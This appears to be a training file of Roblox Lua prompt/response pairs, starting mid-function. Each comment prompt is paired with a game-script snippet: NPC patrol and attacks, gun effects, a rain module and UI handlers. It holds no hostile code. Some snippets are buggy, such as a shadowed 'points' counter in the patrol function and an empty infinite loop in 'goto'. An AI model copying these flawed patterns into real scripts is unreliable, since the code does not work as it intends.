					stopmoving()
				else
					local p=target.Position
					local q=script.Parent.Torso.Position
					local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
					if d<10 then
						script.Parent.Humanoid:MoveTo(target.Position, target); slash()
						if (q.y-p.y)>3 and (q.y-p.y)<7 then
							script.Parent.Humanoid:MoveTo(p.Torso.Position+Vector3.new(math.random(-4,4),0,math.random(-4,4)), p.Torso);
						end
					end
					wait(1)
				end
			end
		end
	end
end

function patrol()
	if points==nil then
		points=0
		if game.Workspace:findFirstChild("pp1")~=nil then
		pp1=game.Workspace:findFirstChild("pp1")
		local points=points+1
			if game.Workspace:findFirstChild("pp2")~=nil then
			pp2=game.Workspace:findFirstChild("pp2")
		local points=points+1
				if game.Workspace:findFirstChild("pp3")~=nil then
				pp3=game.Workspace:findFirstChild("pp3")
		local points=points+1
					if game.Workspace:findFirstChild("pp4")~=nil then
					pp4=game.Workspace:findFirstChild("pp4")
		local points=points+1
						if game.Workspace:findFirstChild("pp5")~=nil then
						pp5=game.Workspace:findFirstChild("pp5")
		local points=points+1
							if game.Workspace:findFirstChild("pp6")~=nil then
							pp6=game.Workspace:findFirstChild("pp6")
		local points=points+1
								if game.Workspace:findFirstChild("pp7")~=nil then
								pp7=game.Workspace:findFirstChild("pp7")
		local points=points+1
									if game.Workspace:findFirstChild("pp8")~=nil then
									pp8=game.Workspace:findFirstChild("pp8")
		local points=points+1
										if game.Workspace:findFirstChild("pp9")~=nil then
										pp9=game.Workspace:findFirstChild("pp9")
		local points=points+1
										end
									end
								end
							end
						end
					end
				end
			end
		end
	end

	if points<1 then return end
	patrolling=true
	local time=2
	if points==1 then return end
	if points>1 then
		while patrolling==true do
			script.Parent.Humanoid:MoveTo(pp1.Position, pp1)
			wait(time)
			script.Parent.Humanoid:MoveTo(pp2.Position, pp2)
			wait(time)
			if points>2 then
				script.Parent.Humanoid:MoveTo(pp3.Position, pp3)
				wait(time)
				if points>3 then
					script.Parent.Humanoid:MoveTo(pp4.Position, pp4)
					wait(time)
					if points>4 then
						script.Parent.Humanoid:MoveTo(pp5.Position, pp5)
						wait(time)
						if points>5 then
							script.Parent.Humanoid:MoveTo(pp6.Position, pp6)
							wait(time)
							if points>6 then
								script.Parent.Humanoid:MoveTo(pp7.Position, pp7)
								wait(time)
								if points>7 then
									script.Parent.Humanoid:MoveTo(pp8.Position, pp8)
									wait(time)
									if points>8 then
										script.Parent.Humanoid:MoveTo(pp9.Position, pp9)
										wait(time)
									end
								end
							end
						end
					end
				end
			end
		end
	end
end

function goto(pos,part)
while true do
end
end

function slash()
	for i=1, 3 do
		wait(.3)
		RightShoulder.MaxVelocity = 2
		LeftShoulder.MaxVelocity = 1
		RightShoulder.DesiredAngle = -2.14
		LeftShoulder.DesiredAngle = 0
		RightHip.DesiredAngle = 0
		LeftHip.DesiredAngle = 0
		wait(.2)
		RightShoulder.MaxVelocity = 2
		LeftShoulder.MaxVelocity = 1
		RightShoulder.DesiredAngle = 0
		LeftShoulder.DesiredAngle = 0
		RightHip.DesiredAngle = 0
		LeftHip.DesiredAngle = 0
	end
end

function defence()
	proxkill=true
	while proxkill==true do
		local ch=game.Players:children()
		for i=1, #ch do
			local p=game.Workspace:findFirstChild(ch[i].Name)
			if p~=nil then
				local p=p.Torso.Position
				local q=script.Parent.Torso.Position
				local d=math.sqrt( ((p.x-q.x)^2)+((p.y-q.y)^2)+((p.z-q.z)^2) )
				if d<dist and d>8 then
					local ex=Instance.new("Explosion")
					ex.Position=p
					ex.Parent=game.Workspace
				end
			end
		end
		wait(1)
	end
end


Prompt: -- Colors

Response:
local FriendlyReticleColor = Color3.new(0, 1, 0)
local EnemyReticleColor	= Color3.new(1, 0, 0)
local NeutralReticleColor	= Color3.new(1, 1, 1)

local Spread = MinSpread
local AmmoInClip = ClipSize

local Tool = script.Parent
local Handle = WaitForChild(Tool, 'Handle')
local WeaponGui = nil

local LeftButtonDown
local Reloading = false
local IsShooting = false


Prompt: -- Libraries

Response:
local Maid = require(script.Parent:WaitForChild 'Maid')
local Support = require(script.Parent:WaitForChild 'SupportLibrary')


Prompt: -- Turns on body orientation. Developer-facing.

Response:
function BodyOrientation.enable()
	if enabled then
		return
	end

	playerRemovingConnection = Players.PlayerRemoving:Connect(onPlayerRemoving)
	playerAddedConnection = Players.PlayerAdded:Connect(onPlayerEntered)
	for _, player in ipairs(Players:GetChildren()) do
		onPlayerEntered(player)
	end

	enabled = true
end


Prompt:
--[=[
	Returns a rejected promise with the following values

	@param ... Values to reject to
	@return Promise<T>
]=]

Response:
function Promise.rejected(...)
	local n = select("#", ...)
	if n == 0 then
		-- Reuse promise here to save on calls to Promise.rejected()
		return _emptyRejectedPromise
	end

	local promise = Promise.new()
	promise:_reject({...}, n)
	return promise
end


Prompt: -- useless comment

Response:
function onTouched(hit)
	if not hit or not hit.Parent then return end
	local human = hit.Parent:findFirstChild("Humanoid")
	if human and human:IsA("Humanoid") then
		human:TakeDamage(999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999)
	end
end

script.Parent.Touched:connect(onTouched)


Prompt: --Tickets

Response:
tix1.MouseEnter:connect(function()
	tix1.BorderColor3 = Color3.new(200/255,0,0)
end)
tix1.MouseLeave:connect(function()
	tix1.BorderColor3 = Color3.new(0,0,0)
end)

tix2.MouseEnter:connect(function()
	tix2.BorderColor3 = Color3.new(200/255,0,0)
end)
tix2.MouseLeave:connect(function()
	tix2.BorderColor3 = Color3.new(0,0,0)
end)

tix3.MouseEnter:connect(function()
	tix3.BorderColor3 = Color3.new(200/255,0,0)
end)
tix3.MouseLeave:connect(function()
	tix3.BorderColor3 = Color3.new(0,0,0)
end)


Prompt:
--r = game:service("RunService")
--t, s = r.Stepped:wait()
--d = t + 8.0 - s
--while t < d do
--	t = r.Stepped:wait()
--end
--while ball.Parent~=nil do

Response:
	--wait(math.random(10,20)/100)
	--wait()
	--magnitude = (ball.Position-ball.TargetPredictedPosition.Value).Magnitude
	--if ball.Position.Y-2>highestpos then
	--	highestpos=ball.Position.Y-2
	--end
	--if highestpos>ball.Position.Y and ball.Position.Y>firedheight then
	--	explode()
	--end
	--explodetimer=explodetimer+1
	--if explodetimer >= 30 then
	--	explode()
	--end
	--if ball.Position.Y<firedheight and ball.Position.Y<ball.Target.Value.Position.Y then
	--	explode()
	--end
	--if magnitude<math.random(18,72) then
	--	explode()
	--end
	--if ((firedpos-ball.Position).Magnitude>(firedpos-ball.TargetPredictedPosition.Value).Magnitude+math.random(-200,-20)) then
	--	explode()
	--end


Prompt:
--[[Weight Scaling]]--
--[[Cubic stud : pounds ratio]]

Response:
--
Tune.WeightScaling = 1/130 --Default = 1/130 (1 cubic stud = 130 lbs)

return Tune


Prompt: --MainScriptValues

Response:
local Buttons = script.Parent.Buttons

local Button1Add = Object.Digit1Panel.AddButton
local Button1Sub = Object.Digit1Panel.SubtractButton

local Button2Add = Object.Digit2Panel.AddButton
local Button2Sub = Object.Digit2Panel.SubtractButton

local Button3Add = Object.Digit3Panel.AddButton
local Button3Sub = Object.Digit3Panel.SubtractButton

local Color = Color3.fromRGB(0, 255, 0)
local Screen1 = Object.Digit1Panel.Screen
local AddButton1 = Buttons.Button1
local Screen2 = Object.Digit2Panel.Screen
local AddButton2 = Buttons.Button2
local Screen3 = Object.Digit3Panel.Screen
local AddButton3 = Buttons.Button3

local Size = Vector3.new(0.175, 1, 1)
local Material = "Metal"


Prompt: -- Libraries

Response:
RbxUtility = LoadLibrary 'RbxUtility';
Support = require(Tool.SupportLibrary);
Security = require(Tool.SecurityModule);
RegionModule = require(Tool['Region by AxisAngle']);
Serialization = require(Tool.SerializationModule);
Create = RbxUtility.Create;
CreateSignal = RbxUtility.CreateSignal;


Prompt: --[MAIN FUNCTION]--

Response:
local function onButtonPressed()
	local success, result = pcall(
		function()
			return SocialService:CanSendGameInviteAsync(Player)
		end
	)

	if result == true then
		SocialService:PromptGameInvite(Player)
	end
end

icon.selected:Connect(function()
	onButtonPressed()
end)


Prompt: --//wipers

Response:
local wpr = Instance.new("Motor", script.Parent.Parent.Misc.WPR.SS)
wpr.MaxVelocity = 0.05
wpr.Part0 = script.Parent.WPR
wpr.Part1 = wpr.Parent

local wpr2 = Instance.new("Motor", script.Parent.Parent.Misc.WPR2.SS)
wpr2.MaxVelocity = 0.05
wpr2.Part0 = script.Parent.WPR2
wpr2.Part1 = wpr2.Parent


Prompt: --[[ Roblox Services ]]

Response:
--
local UserInputService = game:GetService("UserInputService")
local ContextActionService = game:GetService("ContextActionService")


Prompt: -- << FUNCTIONS >>

Response:
function module:CoreGUIsChanged()
	if main.topbarEnabled then
		--TopBar Icon Position
		local enabledCount = 1
		if main.starterGui:GetCoreGuiEnabled("Chat") and main.device ~= "Console" then
			--[[if main.device == "Mobile" then
				enabledCount = enabledCount + 2
			else
				enabledCount = enabledCount + 1
			end--]]
			enabledCount = enabledCount + 1
		end
		if main.starterGui:GetCoreGuiEnabled("Backpack") then
			enabledCount = enabledCount + 1
		end
		if main.starterGui:GetCoreGuiEnabled("EmotesMenu") and main.humanoidRigType == Enum.HumanoidRigType.R15 then
			enabledCount = enabledCount + 1
		end
		imageButton.Position = UDim2.new(0,50*enabledCount,0.1,0)

		--TopBar Transparency
		main.playerGui:SetTopbarTransparency(1)

	end
end


Prompt: ----- hot tap handler -----

Response:
hotTap.Interactive.ClickDetector.MouseClick:Connect(function()
	if hotOn.Value == false then
		hotOn.Value = true
		faucet.ParticleEmitter.Enabled = true
		waterSound:Play()
		hotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(85), 0))
	else
		hotOn.Value = false
		if coldOn.Value == false then
			faucet.ParticleEmitter.Enabled = false
			waterSound:Stop()
		end
		hotTap:SetPrimaryPartCFrame(hotTap.PrimaryPart.CFrame * CFrame.Angles(0, math.rad(-85), 0))
	end
end)


Prompt:
--W8 = script.Parent.WaterSwirl8.ParticleEmitter
--Clicks = script.Parent.Motorz.Sound
--script.Parent.Pushed.Disabled = true
--Clicks:Play()
--wait(2.25)

Response:
script.Parent.Urinal.Flushes:Play()

wait(0.98)
W1.Enabled = true
W2.Enabled = true
W3.Enabled = true
W4.Enabled = true
W5.Enabled = true
W6.Enabled = true
W7.Enabled = true

wait(0.95)
A1.Enabled = true
A2.Enabled = true
A3.Enabled = true
A4.Enabled = true
A5.Enabled = true


Prompt:
-- Gathers up all the scripts in the DevModule. We use the resulting array to
-- enable all scripts in one step.

Response:
local function getDevModuleScripts(devModule: Folder)
	local scripts = {}
	for _, descendant in ipairs(devModule:GetDescendants()) do
		if descendant.Parent == devModule then
			continue
		end

		if descendant:IsA("Script") or descendant:IsA("LocalScript") then
			table.insert(scripts, descendant)
		end
	end
	return scripts
end


Prompt: --------------------[ TEXTURE CREATION FUNCTIONS ]------------------------------------

Response:
function CreateBullet(Direction)
	local Origin = Gun.Main.CFrame.p
	local BulletMass = S.BulletSize.X * S.BulletSize.Y * S.BulletSize.Z
	local BulletCF = CF(Origin, Origin + Direction)
	local Bullet = Instance.new("Part")
	Bullet.BrickColor = S.BulletColor
	Bullet.Name = "Bullet"
	Bullet.CanCollide = false
	Bullet.FormFactor = "Custom"
	Bullet.Size = S.BulletSize
	Bullet.BottomSurface = "Smooth"
	Bullet.TopSurface = "Smooth"
	local Mesh = Instance.new("BlockMesh")
	Mesh.Scale = S.BulletMeshSize
	Mesh.Parent = Bullet
	local BF = Instance.new("BodyForce")
	BF.force = VEC3(0, BulletMass * (196.2 - S.BulletDropPerSecond), 0)
	BF.Parent = Bullet
	Bullet.Parent = Gun_Ignore
	Bullet.CFrame = BulletCF + Direction * 3
	Bullet.Velocity = Direction * S.BulletVelocity
	return Bullet
end

function CreateBulletHole(HitPos, HitObj)
	local SurfaceCF = GetHitSurfaceCFrame(HitPos, HitObj)
	local SurfaceDir = CF(HitObj.CFrame.p, SurfaceCF.p)
	local SurfaceDist = SurfaceDir.lookVector * (HitObj.CFrame.p - SurfaceCF.p).magnitude / 2
	local SurfaceOffset = HitPos - SurfaceCF.p + SurfaceDist
	local SurfaceCFrame = SurfaceDir + SurfaceDist + SurfaceOffset
	local HitMark = Instance.new("Part")
	HitMark.BrickColor = BrickColor.new("Black")
	HitMark.Transparency = 1
	HitMark.Anchored = true
	HitMark.CanCollide = false
	HitMark.FormFactor = "Custom"
	HitMark.Size = VEC3(1, 1, 0.2)
	HitMark.TopSurface = 0
	HitMark.BottomSurface = 0
	local Mesh = Instance.new("BlockMesh")
	Mesh.Offset = VEC3(0, 0, -0.05)
	Mesh.Scale = VEC3(S.BulletHoleSize, S.BulletHoleSize, 0)
	Mesh.Parent = HitMark
	local Decal = Instance.new("Decal")
	Decal.Face = Enum.NormalId.Front
	Decal.Texture = S.BulletHoleTexture
	Decal.Parent = HitMark
	HitMark.Parent = Gun_Ignore
	HitMark.CFrame = SurfaceCFrame
	if (not HitObj.Anchored) then
		local Weld = Instance.new("Weld", HitMark)
		Weld.Part0 = HitObj
		Weld.Part1 = HitMark
		Weld.C0 = HitObj.CFrame:toObjectSpace(SurfaceCFrame)
		HitMark.Anchored = false
	end
	delay(S.BulletHoleVisibleTime, function()
		if S.BulletHoleDisappearTime > 0 then
			local X = 0
			while true do
				if X == 90 then break end
				if (not Selected) then break end
				local NewX = X + (1.5 / S.BulletHoleDisappearTime)
				X = (NewX > 90 and 90 or NewX)
				local Alpha = X / 90
				Decal.Transparency = NumLerp(0, 1, Alpha)
				RS:wait()
			end
			HitMark:Destroy()
		else
			HitMark:Destroy()
		end
	end)
end

function CreateShockwave(Center, Radius)
	local Shockwave = Instance.new("Part")
	Shockwave.BrickColor = S.ShockwaveColor
	Shockwave.Material = Enum.Material.SmoothPlastic
	Shockwave.Name = "Shockwave"
	Shockwave.Anchored = true
	Shockwave.CanCollide = false
	Shockwave.FormFactor = Enum.FormFactor.Symmetric
	Shockwave.Size = VEC3(1, 1, 1)
	Shockwave.BottomSurface = Enum.SurfaceType.Smooth
	Shockwave.TopSurface = Enum.SurfaceType.Smooth
	local Mesh = Instance.new("SpecialMesh")
	Mesh.MeshType = Enum.MeshType.Sphere
	Mesh.Scale = VEC3()
	Mesh.Parent = Shockwave
	Shockwave.Parent = Gun_Ignore
	Shockwave.CFrame = CF(Center)
	spawn(function()
		for i = 0, 1, (1 / (60 * S.ShockwaveDuration)) do
			local Scale = 2 * Radius * i
			Mesh.Scale = VEC3(Scale, Scale, Scale)
			Shockwave.Transparency = i
			RS:wait()
		end
		Shockwave:Destroy()
	end)
end


Prompt: -- See if I have a tool

Response:
local spawner = script.Parent
local tool = nil
local region = Region3.new(Vector3.new(spawner.Position.X - spawner.Size.X/2, spawner.Position.Y + spawner.Size.Y/2, spawner.Position.Z - spawner.Size.Z/2),
   Vector3.new(spawner.Position.X + spawner.Size.X/2, spawner.Position.Y + 4, spawner.Position.Z + spawner.Size.Z/2))
local parts = game.Workspace:FindPartsInRegion3(region)
for _, part in pairs(parts) do
	if part and part.Parent and part.Parent:IsA("Tool") then
		tool = part.Parent
		break
	end
end

local configTable = spawner.Configurations
local configs = {}
local function loadConfig(configName, defaultValue)
	if configTable:FindFirstChild(configName) then
		configs[configName] = configTable:FindFirstChild(configName).Value
	else
		configs[configName] = defaultValue
	end
end

loadConfig("SpawnCooldown", 5)

if tool then
	tool.Parent = game.ServerStorage

	while true do
		-- put tool on pad
		local toolCopy = tool:Clone()
		local handle = toolCopy:FindFirstChild("Handle")
		toolCopy.Parent = game.Workspace
		local toolOnPad = true
		local parentConnection
		parentConnection = toolCopy.AncestryChanged:connect(function()
			if handle then handle.Anchored = false end
			toolOnPad = false
			parentConnection:disconnect()
		end)
		if handle then
			handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0)
			handle.Anchored = true
		end
		-- wait for tool to be removed
		while toolOnPad do
			if handle then
				handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60)
			end
			wait(10)
		end

		-- wait for cooldown
		wait(configs["SpawnCooldown"])
	end

end


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 30 -- cooldown for use of the tool again

ZoneModelName = "WELCOME TO MY SPECIAL HELL" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: -- Provide an interface into the module

Response:
return {

	-- Provide access to internal options
	Options = Options;

	-- Provide client actions API
	PerformAction = function (Client, ActionName, ...)

		-- Make sure the action exists
		local Action = Actions[ActionName];
		if not Action then
			return;
		end;

		-- Ensure client is current player in tool mode
		if ToolMode == 'Tool' then
			assert(Player and (Client == Player), 'Permission denied for client');
		end;

		-- Execute valid actions
		return Action(...);

	end;

};


Prompt:
---------------------------
--[[
	--Main anchor point is the DriveSeat <car.DriveSeat>

	Usage:
		MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld"  **Applies to Motor welds only
		ModelWeld(Model,MainPart)
	Example:
		MakeWeld(car.DriveSeat,misc.PassengerSeat)
		MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2)
		ModelWeld(car.DriveSeat,misc.Door)
]]
--Weld stuff here

Response:
MakeWeld(car.DriveSeat,car.Misc.Downforce,"Weld")

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
	end
end)


Prompt: -- Define the window frame and Resize button

Response:
local windowFrame = script.Parent
local resizeButton = windowFrame.Resize


Prompt: --[[Due to problems with this tool, this script will be used to get the weapon working]]

Response:
--
S = script.Parent["Bin Script"]
SS = S:clone()
S:remove()
SS.Parent = script.Parent


Prompt: -- Settings

Response:
local allow_duplicates = false
local allow_team ={
	"Blue Team", "Winners"
}


Prompt: -- Exposed API:

Response:
local Rain = {}

Rain.CollisionMode = CollisionMode

function Rain:Enable(tweenInfo)

	if tweenInfo ~= nil and typeof(tweenInfo) ~= "TweenInfo" then
		error("bad argument #1 to 'Enable' (TweenInfo expected, got " .. typeof(tweenInfo) .. ")", 2)
	end

	disconnectLoop() -- Just in case :Enable(..) is called multiple times on accident

	Emitter.RainStraight.Enabled = true
	Emitter.RainTopDown.Enabled = true
	Emitter.Parent = workspace.CurrentCamera

	for i = 1, RAIN_SPLASH_NUM do
		splashAttachments[i].Parent = workspace.Terrain
		rainAttachments[i].Parent = workspace.Terrain
	end

	if RunService:IsRunning() then -- don't need sound in studio preview, it won't work anyway
		SoundGroup.Parent = game:GetService("SoundService")
	end

	connectLoop()

	if tweenInfo then
		TweenService:Create(GlobalModifier, tweenInfo, {Value = 0}):Play()
	else
		GlobalModifier.Value = 0
	end

	if not Sound.Playing then
		Sound:Play()
		Sound.TimePosition = math.random()*Sound.TimeLength
	end

	disabled = false

end

function Rain:Disable(tweenInfo)

	if tweenInfo ~= nil and typeof(tweenInfo) ~= "TweenInfo" then
		error("bad argument #1 to 'Disable' (TweenInfo expected, got " .. typeof(tweenInfo) .. ")", 2)
	end

	if tweenInfo then
		local tween = TweenService:Create(GlobalModifier, tweenInfo, {Value = 1})
		tween.Completed:connect(function(state)
			if state == Enum.PlaybackState.Completed then
				-- Only disable the rain completely once the visual effects are faded out
				disable()
			end
			tween:Destroy()
		end)
		tween:Play()
		-- Start tweening out sound now as well
		disableSound(tweenInfo)
	else
		GlobalModifier.Value = 1
		disable()
	end

	disabled = true

end

function Rain:SetColor(value, tweenInfo)

	if typeof(value) ~= "Color3" then
		error("bad argument #1 to 'SetColor' (Color3 expected, got " .. typeof(value) .. ")", 2)
	elseif tweenInfo ~= nil and typeof(tweenInfo) ~= "TweenInfo" then
		error("bad argument #2 to 'SetColor' (TweenInfo expected, got " .. typeof(tweenInfo) .. ")", 2)
	end

	if tweenInfo then
		TweenService:Create(Color, tweenInfo, {Value = value}):Play()
	else
		Color.Value = value
	end

end

local function makeRatioSetter(methodName, valueObject)
	-- Shorthand because most of the remaining property setters are very similar
	return function(_, value, tweenInfo)

		if typeof(value) ~= "number" then
			error("bad argument #1 to '" .. methodName .. "' (number expected, got " .. typeof(value) .. ")", 2)
		elseif tweenInfo ~= nil and typeof(tweenInfo) ~= "TweenInfo" then
			error("bad argument #2 to '" .. methodName .. "' (TweenInfo expected, got " .. typeof(tweenInfo) .. ")", 2)
		end

		value = math.clamp(value, 0, 1)

		if tweenInfo then
			TweenService:Create(valueObject, tweenInfo, {Value = value}):Play()
		else
			valueObject.Value = value
		end

	end
end

Rain.SetTransparency = makeRatioSetter("SetTransparency", Transparency)
Rain.SetSpeedRatio = makeRatioSetter("SetSpeedRatio", SpeedRatio)
Rain.SetIntensityRatio = makeRatioSetter("SetIntensityRatio", IntensityRatio)
Rain.SetLightEmission = makeRatioSetter("SetLightEmission", LightEmission)
Rain.SetLightInfluence = makeRatioSetter("SetLightInfluence", LightInfluence)

function Rain:SetVolume(volume, tweenInfo)

	if typeof(volume) ~= "number" then
		error("bad argument #1 to 'SetVolume' (number expected, got " .. typeof(volume) .. ")", 2)
	elseif tweenInfo ~= nil and typeof(tweenInfo) ~= "TweenInfo" then
		error("bad argument #2 to 'SetVolume' (TweenInfo expected, got " .. typeof(tweenInfo) .. ")", 2)
	end

	if tweenInfo then
		TweenService:Create(SoundGroup, tweenInfo, {Volume = volume}):Play()
	else
		SoundGroup.Volume = volume
	end

end

function Rain:SetDirection(direction, tweenInfo)

	if typeof(direction) ~= "Vector3" then
		error("bad argument #1 to 'SetDirection' (Vector3 expected, got " .. typeof(direction) .. ")", 2)
	elseif tweenInfo ~= nil and typeof(tweenInfo) ~= "TweenInfo" then
		error("bad argument #2 to 'SetDirection' (TweenInfo expected, got " .. typeof(tweenInfo) .. ")", 2)
	end

	if not (direction.unit.magnitude > 0) then -- intentional statement formatting since NaN comparison
		warn("Attempt to set rain direction to a zero-length vector, falling back on default direction = (" .. tostring(RAIN_DEFAULT_DIRECTION) .. ")")
		direction = RAIN_DEFAULT_DIRECTION
	end

	if tweenInfo then
		TweenService:Create(RainDirection, tweenInfo, {Value = direction}):Play()
	else
		RainDirection.Value = direction
	end

end

function Rain:SetCeiling(ceiling)

	if ceiling ~= nil and typeof(ceiling) ~= "number" then
		error("bad argument #1 to 'SetCeiling' (number expected, got " .. typeof(ceiling) .. ")", 2)
	end

	currentCeiling = ceiling

end

function Rain:SetStraightTexture(asset)

	if typeof(asset) ~= "string" then
		error("bad argument #1 to 'SetStraightTexture' (string expected, got " .. typeof(asset) .. ")", 2)
	end

	Emitter.RainStraight.Texture = asset

	for _,v in pairs(rainAttachments) do
		v.RainStraight.Texture = asset
	end

end

function Rain:SetTopDownTexture(asset)

	if typeof(asset) ~= "string" then
		error("bad argument #1 to 'SetStraightTexture' (string expected, got " .. typeof(asset) .. ")", 2)
	end

	Emitter.RainTopDown.Texture = asset

	for _,v in pairs(rainAttachments) do
		v.RainTopDown.Texture = asset
	end

end

function Rain:SetSplashTexture(asset)

	if typeof(asset) ~= "string" then
		error("bad argument #1 to 'SetStraightTexture' (string expected, got " .. typeof(asset) .. ")", 2)
	end

	for _,v in pairs(splashAttachments) do
		v.RainSplash.Texture = asset
	end

end

function Rain:SetSoundId(asset)

	if typeof(asset) ~= "string" then
		error("bad argument #1 to 'SetSoundId' (string expected, got " .. typeof(asset) .. ")", 2)
	end

	Sound.SoundId = asset

end

function Rain:SetCollisionMode(mode, param)

	if mode == CollisionMode.None then

		-- Regular mode needs no white/blacklist or test function
		collisionList = nil
		collisionFunc = nil

	elseif mode == CollisionMode.Blacklist then

		if typeof(param) == "Instance" then
			-- Add Emitter anyway, since users will probably not expect collisions with emitter block regardless
			collisionList = {param, Emitter}
		elseif typeof(param) == "table" then
			for i = 1, #param do
				if typeof(param[i]) ~= "Instance" then
					error("bad argument #2 to 'SetCollisionMode' (blacklist contained a " .. typeof(param[i]) .. " on index " .. tostring(i) .. " which is not an Instance)", 2)
				end
			end
			collisionList = {Emitter} -- see above
			for i = 1, #param do
				table.insert(collisionList, param[i])
			end
		else
			error("bad argument #2 to 'SetCollisionMode (Instance or array of Instance expected, got " .. typeof(param) .. ")'", 2)
		end

		-- Blacklist does not need a test function
		collisionFunc = nil

	elseif mode == CollisionMode.Whitelist then

		if typeof(param) == "Instance" then
			collisionList = {param}
		elseif typeof(param) == "table" then
			for i = 1, #param do
				if typeof(param[i]) ~= "Instance" then
					error("bad argument #2 to 'SetCollisionMode' (whitelist contained a " .. typeof(param[i])  .. " on index " .. tostring(i) .. " which is not an Instance)", 2)
				end
			end
			collisionList = {}
			for i = 1, #param do
				table.insert(collisionList, param[i])
			end
		else
			error("bad argument #2 to 'SetCollisionMode (Instance or array of Instance expected, got " .. typeof(param) .. ")'", 2)
		end

		-- Whitelist does not need a test function
		collisionFunc = nil

	elseif mode == CollisionMode.Function then

		if typeof(param) ~= "function" then
			error("bad argument #2 to 'SetCollisionMode' (function expected, got " .. typeof(param) .. ")", 2)
		end

		-- Test function does not need a list
		collisionList = nil

		collisionFunc = param

	else
		error("bad argument #1 to 'SetCollisionMode (Rain.CollisionMode expected, got " .. typeof(param) .. ")'", 2)
	end

	collisionMode = mode
	raycast = raycastFunctions[mode]

end

return Rain


Prompt: --[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]

Response:
--
local PlayerSpawning=false; --[[ Change this to true if you want the NPC to spawn like a player, and change this to false if you want the NPC to spawn at it's current position. ]]--
local AdvancedRespawnScript=script;
repeat Wait(0)until script and script.Parent and script.Parent.ClassName=="Model";
local JaneTheKiller=AdvancedRespawnScript.Parent;
if AdvancedRespawnScript and JaneTheKiller and JaneTheKiller:FindFirstChild("Thumbnail")then
JaneTheKiller:FindFirstChild("Thumbnail"):Destroy();
end;
local GameDerbis=Game:GetService("Debris");
local JaneTheKillerHumanoid;
for _,Child in pairs(JaneTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JaneTheKillerHumanoid=Child;
end;
end;
local Respawndant=JaneTheKiller:Clone();
if PlayerSpawning then --[[ LOOK AT LINE: 2. ]]--
coroutine.resume(coroutine.create(function()
if JaneTheKiller and JaneTheKillerHumanoid and JaneTheKillerHumanoid:FindFirstChild("Status")and not JaneTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns")then
SpawnModel=Instance.new("Model");
SpawnModel.Parent=JaneTheKillerHumanoid.Status;
SpawnModel.Name="AvalibleSpawns";
else
SpawnModel=JaneTheKillerHumanoid:FindFirstChild("Status"):FindFirstChild("AvalibleSpawns");
end;
function FindSpawn(SearchValue)
local PartsArchivable=SearchValue:GetChildren();
for AreaSearch=1,#PartsArchivable do
if PartsArchivable[AreaSearch].className=="SpawnLocation"then
local PositionValue=Instance.new("Vector3Value",SpawnModel);
PositionValue.Value=PartsArchivable[AreaSearch].Position;
PositionValue.Name=PartsArchivable[AreaSearch].Duration;
end;
FindSpawn(PartsArchivable[AreaSearch]);
end;
end;
FindSpawn(Game:GetService("Workspace"));
local SpawnChilden=SpawnModel:GetChildren();
if#SpawnChilden>0 then
local SpawnItself=SpawnChilden[math.random(1,#SpawnChilden)];
local RespawningForceField=Instance.new("ForceField");
RespawningForceField.Parent=JaneTheKiller;
RespawningForceField.Name="SpawnForceField";
GameDerbis:AddItem(RespawningForceField,SpawnItself.Name);
JaneTheKiller:MoveTo(SpawnItself.Value+Vector3.new(0,3.5,0));
else
if JaneTheKiller:FindFirstChild("SpawnForceField")then
JaneTheKiller:FindFirstChild("SpawnForceField"):Destroy();
end;
JaneTheKiller:MoveTo(Vector3.new(0,115,0));
end;
end));
end;
function Respawn()
Wait(16);
Respawndant.Parent=JaneTheKiller.Parent;
Respawndant:makeJoints();
Respawndant:FindFirstChild("Head"):MakeJoints();
Respawndant:FindFirstChild("Torso"):MakeJoints();
JaneTheKiller:remove();
end;
if AdvancedRespawnScript and JaneTheKiller and JaneTheKillerHumanoid then
JaneTheKillerHumanoid.Died:connect(Respawn);
end;


Prompt: -- this is a dummy object that holds the flash made when the gun is fired

Response:
local FlashHolder = nil

local WorldToCellFunction = Workspace.Terrain.WorldToCellPreferSolid
local GetCellFunction = Workspace.Terrain.GetCell

function RayIgnoreCheck(hit, pos)
	if hit then
		if hit.Transparency >= 1 or string.lower(hit.Name) == "water" or
				hit.Name == "Effect" or hit.Name == "Rocket" or hit.Name == "Bullet" or
				hit.Name == "Handle" or hit:IsDescendantOf(MyCharacter) then
			return true
		elseif hit:IsA('Terrain') and pos then
			local cellPos = WorldToCellFunction(Workspace.Terrain, pos)
			if cellPos then
				local cellMat = GetCellFunction(Workspace.Terrain, cellPos.x, cellPos.y, cellPos.z)
				if cellMat and cellMat == Enum.CellMaterial.Water then
					return true
				end
			end
		end
	end
	return false
end


Prompt:
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------

Response:
	,VRecoil = {12,16}				--- Vertical Recoil
	,HRecoil = {5,7}				--- Horizontal Recoil
	,AimRecover = .7				---- Between 0 & 1

	,RecoilPunch = .15
	,VPunchBase = 2.5				--- Vertical Punch
	,HPunchBase = 1.7				--- Horizontal Punch
	,DPunchBase = 1 				--- Tilt Punch | useless

	,AimRecoilReduction = 5 		--- Recoil Reduction Factor While Aiming (Do not set to 0)
	,PunchRecover = 0.1
	,MinRecoilPower = .5
	,MaxRecoilPower = 3.5
	,RecoilPowerStepAmount = .25

	,MinSpread = 0.56				--- Min bullet spread value | Studs
